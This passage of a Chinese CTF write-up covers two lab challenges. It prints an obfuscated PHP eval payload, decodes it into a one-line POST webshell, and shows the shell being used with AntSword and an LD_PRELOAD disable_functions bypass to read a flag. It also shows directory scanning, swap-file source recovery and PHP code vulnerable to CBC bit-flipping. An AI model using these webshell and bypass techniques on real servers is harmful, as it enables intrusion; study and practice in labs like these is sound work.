eval($BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC("JE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGI9IldBckllVEJFWFBaTlN0b3ppZ2hmcENPUlV2S0x5eFFubXdsR2NqYVZiRGtGdUpZZHNNSHF1d1dBZW1NVWhRb0NMYURma0Z4VEtsenRCWHJkT2liSEpqeU52WVNQcGNzSVpFR1JnblZxUWM5alNWd0ZvTlBKU3U1eXJsUjZTMkNzcHV5TlBJb3JMSUk1dnU5RFJVYU9wSHhmbVZSSmIwdGpQQnlvU3lFSXVzRUNQMmlidVU5MlJCNUhCMkV4b0JJVkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzR2h5enZ1NXlwM0VVTFZ4TmJ5QzNHMGFEbU5LckJWdFFTQkNKdUJJSHVIb2twSXhQQnl0aFBKMWp0QjF0dDJhNkx1dGZSbTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdmVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuMzBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZNOXpPdG90MUtBUkp5amIzUDZtMW9pdnlSQkJCb2dvSHlsTGh0YnYyeGtHM3h5THMxZEdCUEdwMjEzQkpSWlB1YW1vVUlubXN0cVFMdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbmZUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdpblYwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25ZdDlka3RsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZlVqVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnT0NWMDdFSXRzdlUxclMyeEd0aElTbUpDYkdoeGtlQmFodDNLdVJOUEhCdTVPdUJpUXRKeTFTc3RjcEJ4THBWUk1iSjlQTGhvbXYyRzlFSXlWdXN4MlNoTWNSaEtRUEhJT1AxdHR0SmlKZUJFRVJJTWZTTkVZZU5Qcm1CYXh0UHhYcGhSTG8yNVBTMUNzYkJpenROSzduVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bm14OWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQzlka3RvdDFLQVJKeWpiM1A2bTFvaXZ5UkJCQm9nb0h5bExodGJ2MnhrRzN4eUxzMWRHQlBHcDIxM0JKUlpQdWFtb1VJbm1zdHFlZk05ZGt0b3QxS0FSSnlqYjNQNm0xb2l2eVJCQkJvZ29IeWxMaHRidjJ4a0czeHlMczFkR0JQR3AyMTNCSlJaUHVhbW9VSW5tc3RxZWZJOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQTBUbWdzdjNLeUcyMW9SdUlPcFZ4TlBCeWhldTlrUk5vWm1VNXJCUHRjdFZvYlMxb210MHhIdFBLS3VOeFFtQmEzdlVFc2J1S2lCWTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmczVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnaW4zMDdFTkk1bUhJWm91OU90VXg0dHNFbVIyQ2RTVWlxTHlNMG0yeWNveXlNbzFLMkdKaUdQUEVCUDFvYXZVUENCQlJXZXN5c3YzQlpRTHRsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZkFPVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnZkNIMFpFVUV1bUpFY0cyS1h2dUlaUmhFdG91eEVvMFBRcEJpVnVzMVBlSHlCZUlNZlJOYTNiaG9KdklDZEJ5eGdMSnlzUDB0TnVCeDduWXk5ZGt0bFBzNWtiMkNxcDNJeHBIUE9CdVBETHVSSW0yMW50MUtDUGhLNVBWeGJ2M3RXUjBJMm9ITW1MMUVHcFVLS29JUlV0eXlBZWZBMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZFOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbjFUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdPQ0gwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25mTTl6MlAyR3VqREVOSTVtSElab3U5T3RVeDR0c0VtUjJDZFNVaXFMeU0wbTJ5Y295eU1vMUsyR0ppR1BQRUJQMW9hdlVQQ0JCUldlc3lzdjNCREFzS0l1czl4TElLeEJZTWpweW9ndHlva3VWTTVHMFI0dlBLR3RIRUJudWl6UG1NZ1NQb0FCSG9ZblZ0Q0J1NURCMUdPdHN5eFBCNXFCeVBMblBLTlNVRXNuQkExdUowMHpCeWd2VlB5cHlLNUJzUnVleUNocFU1a1BCb2RQQlB6bklvWmJ5eXNuQjVMQllFTnYxb1BlTjl1bll5V29QUnp0MUV1Qll0U251aml1dWlyYjFDSVJJTXhuY1BpdUo1TmV5eXVMc2F5UEppNFBjTTBTeW9HTEh0dW5VR09Hc1JycHlLV25QSUxTMngyb2NDTHAySWd1SmF4UHlFckcwb0RiMUVoQ1BFaHBITUJQVXh1TE5Vam1zUFNQbUIwQlBvV0NQdGh6bUlrUGZQbFB1S3R6QnlxUk5pc3BCb2ZMMENZZDFNS0czUHJ0MEcxUE41TlJQS2h6aHlMdHVGMEJKYXJQTmJPbXNpeHRoeGlCMmlsbkliT3BVdFNwTmlsdVlJam55eWFlSXl1UHNLUFBZSVNSTkNJUHM1UFB1dE9vdWFnUzJuZlB1OXJ0SmlBUDJhRG5KSUdic3RzdVZNYlBKNU5lUEdpQnlFTHBoeGFvUFByTEp0TmJIS3h0MEtxb0JSdUwxdFBSTnhMUEp4Mkd5eHNCMURPQ1BveG5CNVdCUFA0bTFFVnAyOXJ0eUVXRzBCaUwyVU9TSXlMdVVveFBOMXpCUHlHU055eVBodEdCWUNqUDJ0VlBKNVBQZlA1UDFQNEJJRWFwY0l4UzFFVUd5UERCMkVBb1VFdHBteXVCMXhTUE5uT3V1OXJ0UEtRR0J4U0dQQWp2TjV1cFVvdUd5eGpldUNWZVZJU3VVb09QY0lnbXlCanBOeXVMSUUyR2ZNMG1QSVpTSUN1bnNvRUdQUHpTeUVQQllJU3RKeGxvY0lsQ1BLYUNWQ3JMVTQydXlSelJJUkdQSnhZcGhGMEJKaXVMeUdmcFZvb3B5RWFHSmE0bTFDZ3R5UHRuSUFPUEJSMFAxQmpvVXlTbklveEdQb0RwMWJqbkJpc24wRWN1c1BOdnVDdUxoSUNTdWFmTHNvTFMyQ0luQmF4bkp4b0J5eE5HUHRhbXlJb3VOeEtvUFAwdUlBZnZJUnN0MW9aUFB2MWVQUlBlSU1McHVqaUd1YUx0TkVQU0lDa0xOdGxCdTA1UHlDR3V5dFlueXlYTHNQU20ySUF1SklMblZNWlBKaU5QSkVHdlZ5WXQzeGl1eXhOdnliaXBVNVBuTmlLUHN4TFJKbmpSVTF0cEp4bVBZRU5MdUlQbUpLTFBQQWl1c29EYkpiaWJZUFNwbXRmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lqbVVDTFBQS0FiczVtcGh0WFAwUHVlSVJXQ3VLUHQwRzB1dTVnbUlHam9jb3VweUVndVlJTlJ1Q2dwVTFCbklLam9JUmp0UFVPbkJ5UHBoRmZCUFByUnlvUHBjRVBuMDVhTDBDTHQxdGFTY0VoUzJ0ZHVZSVNCeW9obm1vWXBzRWZHdTF1ZU5VanpQS0JQczVydXVpTG5OQWZtc2lCdEJEMFB1aXNTSUNWcFV0b25Jb0lvSVJMdVBJR29JSXlQMUsxbVV0TXYwS0FtWW9TUDA1MFAxeHVTTkNhZWN0THBJb3JQWUNnUnl5WkJKMWtTM3hRQjJpTlBQVWpCWUVQdDN0aFBtTXNMUERqUEpJeFBKeFhQY3dpbU5iZmJzQ1N0Qm9pRzFvRXZVYW1TM01RUmYwOUFrc0t6ZjgrUWM5alNWd0ZvTlBKU3U1eXJsUlpTeW81djBFU1JIeE9tTmFOdXV0enAyb1lvMFIxR2hSVUxKRWd2VTltQkJQQUJ5UGFMMnlNU1ZLRWIyUDBCVTFpdUlSQkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzTE5FR29WdFZQdWF5dEJ0Z0JKUmpSM0N4dkpvWlB5eVhQSUNkTHVDYlJKeGNQMktsU2hLdG1JSzR0czExZXUxTW1ISXJtZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdmVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuMzBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZNOXpPdEVwMkN5YjI1aVBzYVF0SmFPcElFcVBQTUlvVTVEYmhQbW1CS2xlSjFWUnl0bmVodEt2MlJqdXl5a0JQeEFvc3QzUDN4eFFMdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbmZUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdpblYwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25ZdDlka3RRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZlVqVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnT0NWMDdFVXRZR0h5Ym1ITW9CMGExdEJDMm91YUVQeUtnbTFJTlBVMTNvMXhLcHNJSkd1OUFvVktpU1VSaEJIRW52MjFyYkpLUFJWRjlFVXlYRzJQY3BISXVMMDlOUzNFZ0JKS1BCVVBzbUp4TVJQQ0NMc0U2cEJSMlBVaTVSTnlmbzNNU3V1RXR1VXhKdFZSaGVOSTduVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bm14OWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQzlka3RFcDJDeWIyNWlQc2FRdEphT3BJRXFQUE1Jb1U1RGJoUG1tQktsZUoxVlJ5dG5laHRLdjJSanV5eWtCUHhBb3N0M1AzeHhlZk05ZGt0RXAyQ3liMjVpUHNhUXRKYU9wSUVxUFBNSW9VNURiaFBtbUJLbGVKMVZSeXRuZWh0S3YyUmp1eXlrQlB4QW9zdDNQM3h4ZWZJOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQTBUbWdzUzJDM0wyRW1vMnhoU2hLb3RoUE10MHRRUFVveExJeHRCSHRabVZ5bHBVS2piMHlhb3VLZnZzNTJ1SEliUFBvNG9zMXNwZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmczVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnaW4zMDdFVXhrdU50MHQxUFdvQlBVcElFSHZWUmZHaEVKcHlvb3AxdG1MMHlZQlZvRGIxUnFiSnk2QkJpU2VVb0NSaHlhYkI1aUxzOFpRTHRRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZkFPVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnZkNIMFpFVTlncHN0V2VzNXl2aG9xTDIxb1NVMWxMUEM0THNDMXVKb3RCSFJuUDB4VnRIQzBQdUNNcDF4dWVoRWtTQlBCQk5Jc28zTTduWXk5ZGt0UXBONVVTM0t6b2hJMlNzYWF1dXhDYnN5bWVVS2NSUEtKQlBFM21JUkF0MG9mUklQWWJ1OUdQSHlPR0p5SVBJTXhvTlJqZWZBMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZFOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbjFUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdPQ0gwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25mTTl6MlAyR3VqREVVeGt1TnQwdDFQV29CUFVwSUVIdlZSZkdoRUpweW9vcDF0bUwweVlCVm9EYjFScWJKeTZCQmlTZVVvQ1JoeWFiQjVpTHM4REFzS0lTTjFzUHM1WlBJUHJCTlBWU1Zvc3BzRGpHSjBpdUpQYVJJb0xuSUtOUDI1enZJRU5TY1BtUzJpZnV1YTB0SUdPdlZSdVMzeHRQc3hzU0pDaFBKeEJTMG9tdXNvSXpCeWdvY010bjJ4NkcxUHVuUHRJQ1BQUG5OdG1HbUlTcFBSV1JVeXhwSW9TUEJQZ1J5RE9DQkN4UFBLWEcyMXJDUGJpU054b25Vb2dHc3ZpbjJDSXZOYXlweUtMQnNCaXQxeWdMeUtrUzN4Z1BZQ3VMSW9JUlZLQnBWd09QY0NsU3lEalBIeXN0Snhjb0JQekJKRVZ2SVJTUzFBZlBtQWlDdUNQU1ZNeG5CRXpvdTFMTDF5UHBWb3RQMnh1UDBSSEN1UFp0SjV4UHV0bVBJUlNTMkNVTEoxa3Bzb1Z1UHhEU0lvcXBVNVlQUEtTUEJSemVzNVBlY0VQUHNFckJQb2xTMDFhUk41bXBJbzRtQnhsUjJDVlBtSWtuMEV6QllJTm0wMGZ1SjFvUFVFUXVtQ0xteVJHdklQQ1B1dFFQTjVycFBuZnVzUkN1SW80RzJpU0NOVWl2SUl4TFVBMVBOYU5QdVB1dVlNc1Nzb2x1c3ZpQ3MxVm1zRVluMXk1b1VQU0NKUEl2SVJRUEJvUG1QUHNlUEVxbXlJb3BKdDZQQlBnZU5QUG9OYW10VUt0R1lDWWVQeWF0Skt1dGZiNUx1SzBwTnRhdEhDZGIyblhCTnlZUkJLSVNOeWh0MUFqQllJdXZ5S1BQc1BrdHNLWkcweHNleXlHTEoxa3BJS1NHWUlMUEluanBOS1BMSUtYQm1Jc3ZQSWFwY29QUGh4eG9CUFNtSnRHcFZ0dFBtUDRCMmc0cDBLSXBWb29ueW9VR0o1TlAxbmp6QlJ4bjBLZlB1MWpQeVBJUEphQnB1eGxvSW96bXlDV0xZb2tQdWJPUHNQNEN1dFZwVktTbjBFeFAxUnJCeVJJU04xTExOdEdvQlJJcDBLSUJKS29wSml0UE41bHV5QmpSY0lMUEI0T3V5UjBMeW9ndlZDQm5Cb1ZQc0JpbjFEaVNWTWtTMG9hdVB2NUxQS0F2Vnh4dHV0R1B1NXJtdW5PbkJhdHBoTXVvVXhIcDBLSVNOMXNQczVaUElQckJOUFZTVm9zcHNEakdKMGl1SlBhUklvTG5JS05QMjV6dklFTlNjUG1TMmlmdXVhMHRJR092VlJ1UzN4dFBzeHNTSkNoUEp4QlMwb211c29JdjBLVlJOS3NuVnRLUG1Fc3AxR09wY29oUFBHaUJQUHN0UGJpQnNSb1B1eG9QUG9ybk5FV2VjUHRwaHhkRzBQekxKRWhQSElZbjBLUW9OaWplSVBOUHlSeXQxS3p1c3Y0dkIxS1MzQ3J0UEVxdXU1Z0JQdFpieUtQblZiaUJ5UHpueUtoUlVLdXBWTWZQY0lOdDFvSW5tQ1NudXhqR0phTnBQeWh6QnlTTFZNNEdCUHN1SVBaTHMxWW5ZSWRCdTFqUEp0QW8yOXJ0dXhhb0lvenB5dFBMeU15dDJ4Mm9ONXJuTkVhblBLeXBodHVCWU1TdHlSWm1ITUx0SkYxQjJhZ3YxeVdSVXR1bkhNM1BKYTRCUG9Bb05LWVAxb0RQTmFOQjFLTnRoQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWTW5iMUVJdW1FckNQUElDaFJoUHM1bm9JUHV0TnRhUEhFbVB5S3hHc0I1QnlFZ0JzNXNuSnRvR1B2MWJ5S2F0SG9tdDFBMkcxUkRMSUdpTEh5QkxVNTBCMmFydlBvR0JZdGRiMUVFdUo1dVBJRGpuQkNCbjJ4WEdZQ1NldXRWQ2h0aHVWTU9QeVBzdDFFdXZWS3hQUEVvb1BQakxKRVZMc2l0bnV0aUcwb1NtUFBOQllDb24wb2d1UEIxYnlQYUJ5RW50VUlmTHNSMFNKYmpSTnlQbkp0WFBZRWdDeVJQUFlJdFB1dElQY0lMdDF5UFNJeVBQc0RqR0phNENQSWFlVWFZdEI1ckd5UnV2dW5mTHM5c3BWTTRQQm91UDJQVnVzNVN0ZnhqTDFDV3ZVOTNRbTBrckxzN1FmND0iO2V2YWwoJz8+Jy4kQndsdHFPWWJIYVFrUlBOb3hjZm5GbXpzSWpoZE1EQVdVZUtHZ3ZpVnJKWnBMdVhFVFN5QygkaFlYbFRnQnFXQXBPYnhKdmVqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7")); ?>
这里将其保持到本地的index.php文件中
然后通过在线混淆解密php网站上传混淆加密的index.php文件进行解密
https://www.zhaoyuanma.com/phpjm.html
解密后,会生成一个index.php的文件。
得到index.php解密后的php代码:
<?php
highlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);
@eval($_POST[ymlisisisiook]);
?>
该代码是一句话木马,连接木马为ymlisisisiook
下面,直接用蚁剑连接远程连接,成功链接

但是发现只能访问/var/www/html/目录,其他目录被限制访问了。

利用蚁剑的"绕过disable_functions"插件检测一下函数,发现putenv没有被禁用
linux主机,putenv=on,这里选择LD_PRELOAD模式来启用putenv
点击开始,执行成功。
访问生成的文件,测试连接成功
http://114.67.246.176:10472/.antproxy.php
在根目录下发现存在flag文件
查看flag文件,即可得到flag内容
最终得到flag:
flag{05e166fd1d622e0fd56cf62c62bf93da}

题目名称:CBC
题目描述:
CBC字节翻转攻击
flag{}
题目writeup:
其启动题目场景,获得靶场网站,访问网站,发现页面是登录窗口
http://114.67.246.176:15246/
通过dirsearch.py对目录进行扫描,发现目标靶机系统中存在.index.php.swp文件
python3  dirsearch.py   -u  http://114.67.246.176:15246/
访问.index.php.swp文件,可下载文件,查看该文件,发现是乱码
http://114.67.246.176:15246/.index.php.swp
将下载到本地的indxe.php.swp上传到linux系统中
通过vim -r 命令对index.php文件进行文件恢复。
vim  -r  index.php
可以看到成功恢复出index.php文件内容
得到index.php内容:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
    $(".username").focus(function() {
        $(".user-icon").css("left","-48px");
    });
    $(".username").blur(function() {
        $(".user-icon").css("left","0px");
    });

    $(".password").focus(function() {
        $(".pass-icon").css("left","-48px");
    });
    $(".password").blur(function() {
        $(".pass-icon").css("left","0px");
    });
});
</script>
</head>

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>
</html>

基础知识:

